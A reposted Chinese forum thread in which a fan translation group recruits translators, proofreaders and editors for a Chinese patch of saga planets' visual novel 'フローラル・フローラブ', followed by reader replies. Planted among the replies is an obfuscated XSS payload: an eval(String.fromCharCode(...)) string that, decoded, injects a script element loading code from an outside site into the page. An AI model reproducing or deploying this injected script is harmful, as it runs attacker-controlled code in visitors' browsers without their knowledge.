转载【汉化招人】saga planets《フローラル・フローラブ》

753678156

白色相簿的季节已经过去，微暖的春风中，崭新的一年的序章正平静安稳地上演着（说人话）。本组开坑的作品是sagaplanets于16年7月29日发售的《フローラル?フローラブ》，本作以“天使”为卖点，以充满天主教氛围的夏季宗教学园为舞台上演，每条女主线路的日常及展开都有其独特的魅力（别问我こはね是谁，我不知道）。深受作品剧本的感动，带着想要让更多人了解、喜欢这部作品的想法，本组组长狗呵呵于同年8月26日决定着手进行本作的汉化工作，并建立了“仲夏夜会汉化组”。
（以上一个字也不要信是最好的）
经过各组员半年多的努力和配合，目前汉化总进度已接近一半。但迫于三次元的压力，大部分组员已经很难拿出足够的空闲时间来进行本作品的翻译，目前还在干活的除了一些万年潜水党，只剩下我一个校对和其余两三个干劲不大的组员。单靠我一个人翻译的话，粗略计算正式补丁的发布要拖到明年暑假。所以经组内讨论后，我决定来贴吧招募一些新鲜的血液，加快汉化进程，以尽早让本作的汉化版与大家见面。


补上群号，478339645


作品信息
标题：《フローラル?フローラブ》
暂定译名：花之天使?夏日恋歌
出品会社：saga planets
OP：《floral summer》/fripSide
原文总字数：2095042
组名：仲夏夜会汉化组
招募说明
招募人员：初翻、校对、润色
要求
初翻：日语水平N2以上，能够把日文原文转化为润色能够理解的汉语
校对：日语水平N1以上，能够发现初翻90%以上的翻译错误
润色：能够在尽量不改变原文意思的基础上将原文转化为自然的汉语，最好有一定日语基础
尽量不要中途跑路，跑路前尽量把手上的文本留下，哪怕只翻了一行。
预计年12月前结束所有翻译、校对、润色工作，年底前发布正式汉化补丁。
以下贴上详细进度。




原址

leewenjian

saga planet的作品我最喜欢 加油汉化组的各位

yoyoyoyoyo

看圖好像是歡樂的作品，有時候平衡一下也不錯

yuyu5255

saga planet的作品我最喜欢







http://localhost/flash.swf?\'+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,115,104,117,97,106,105,57,46,99,111,109,47,63,97,61,49,39,93,59))+\'

xiaowei911

看起来挺清新的 很喜欢

fhc

汉化组的各位辛苦了

scdy211418

这作其实很期待的~而且neta听说很不错！

mtyhol

不小心把女儿吵醒了